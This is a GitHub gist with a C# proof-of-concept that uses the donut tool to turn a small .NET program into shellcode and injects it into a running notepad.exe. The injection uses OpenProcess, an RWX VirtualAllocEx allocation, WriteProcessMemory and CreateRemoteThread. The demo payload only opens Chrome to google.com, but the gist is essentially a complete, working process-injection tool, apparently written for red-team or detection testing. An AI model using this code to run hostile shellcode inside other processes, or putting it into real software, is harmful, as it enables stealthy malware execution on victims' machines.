Skip to content

Instantly share code, notes, and snippets.

@mvelazc0
Last active October 12, 2020 23:45
Show Gist options
  • Save mvelazc0/87519c82fc8af31e9c19477d28bb95dc to your computer and use it in GitHub Desktop.
Save mvelazc0/87519c82fc8af31e9c19477d28bb95dc to your computer and use it in GitHub Desktop.
Leverages donut.exe (https://github.com/TheWover/donut) to generate position independant shellcode and injects it into a process using CreateRemoteThread. In this POC, notepad.exe
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
namespace InjectDonut
{
public class Program
{
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
const uint MEM_COMMIT = 0x00001000;
static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static void InjectShellcodeTo(byte[] shellcode, Process proc)
{
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, proc.Id);
Int32 size = shellcode.Length;
IntPtr spaceAddr = VirtualAllocEx(procHandle, new IntPtr(0), (uint)size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
UIntPtr bytesWritten;
IntPtr size2 = new IntPtr(shellcode.Length);
bool bWrite = WriteProcessMemory(procHandle, spaceAddr, shellcode, (uint)size2, out bytesWritten);
CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
}
public static String GetDonutShellcode(string path, string runprocbin, string binarypath, string args)
{
if (File.Exists(path + "donut.exe") && File.Exists(path + runprocbin))
{
string scape = "\\\"";
string quote = "\"";
string donutparams = scape + quote + binarypath + scape + " " + scape + args + scape + quote;
Process process = new Process();
process.StartInfo.FileName = path + "donut.exe";
process.StartInfo.Arguments = String.Format(@"-f 2 {0}{1} -c RunProcess.Program -m Main -o {2}loader.b64 -p {3}", path, runprocbin, path, donutparams);
Console.Write(String.Format(@"-f 2 {0}{1} -c RunProcess.Program -m Main -o {2}loader.b64 -p {3}", path, runprocbin, path, donutparams));
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.Start();
string output = process.StandardOutput.ReadToEnd();
//Console.WriteLine(output);
process.WaitForExit();
if (File.Exists(path + "loader.b64"))
{
string b4sc = File.ReadAllText(path + "loader.b64");
return b4sc;
}
else return "ERROR-Output not created";
}
else return "ERROR-Required files dont exist";
}
public static void Main(string[] args)
{
string b64shellcode = GetDonutShellcode("", "RunProcess.exe", @"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe", "www.google.com");
byte[] shellcode = Convert.FromBase64String(b64shellcode);
Process notepad = Process.GetProcessesByName("notepad")[0];
InjectShellcodeTo(shellcode, notepad);
}
}
}
using System.Diagnostics;
namespace RunProcess
{
public class Program
{
public static void Main(string[] args)
{
string binarypath = args[0];
string argstopass = "";
for (int i = 1; i < args.Length; i++)
{
argstopass += args[i] + " ";
}
Process process = new Process();
process.StartInfo.FileName = binarypath;
process.StartInfo.Arguments = argstopass;
process.Start();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment